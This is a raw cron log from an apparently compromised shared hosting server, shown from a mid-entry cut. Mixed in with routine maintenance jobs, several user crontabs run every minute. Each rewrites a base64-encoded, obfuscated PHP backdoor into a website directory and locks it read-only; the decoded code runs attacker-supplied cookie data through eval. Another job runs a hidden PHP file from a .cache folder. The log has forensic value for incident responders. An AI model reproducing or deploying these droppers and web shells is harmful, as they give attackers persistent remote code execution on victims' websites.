ICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 10:54:01 medusa CROND[20334]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 10:55:01 medusa CROND[10774]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  1 10:55:01 medusa CROND[10878]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  1 10:55:01 medusa CROND[10894]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 10:55:01 medusa CROND[10895]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 10:55:01 medusa CROND[10896]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  1 10:55:01 medusa CROND[10897]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  1 10:55:01 medusa CROND[10898]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  1 10:55:01 medusa CROND[10899]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  1 10:55:01 medusa CROND[10900]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 10:55:01 medusa CROND[10902]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 10:55:01 medusa CROND[10904]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  1 10:55:01 medusa CROND[10911]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  1 10:55:01 medusa CROND[10916]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  1 10:55:01 medusa CROND[10917]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  1 10:55:01 medusa CROND[10919]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 10:55:01 medusa CROND[10920]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 10:55:01 medusa CROND[10921]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 10:55:01 medusa CROND[10922]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 10:55:01 medusa CROND[10918]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  1 10:55:01 medusa CROND[10923]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 10:55:01 medusa CROND[10925]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 10:55:01 medusa CROND[10926]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 10:56:01 medusa CROND[2028]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 10:56:01 medusa CROND[2031]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 10:56:01 medusa CROND[2033]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 10:56:01 medusa CROND[2029]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 10:56:01 medusa CROND[2035]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 10:56:01 medusa CROND[2034]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 10:56:01 medusa CROND[2036]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  1 10:56:01 medusa CROND[2039]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 10:56:01 medusa CROND[2045]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 10:56:01 medusa CROND[2050]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 10:56:01 medusa CROND[2049]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 10:56:01 medusa CROND[2054]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 10:56:01 medusa CROND[2046]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
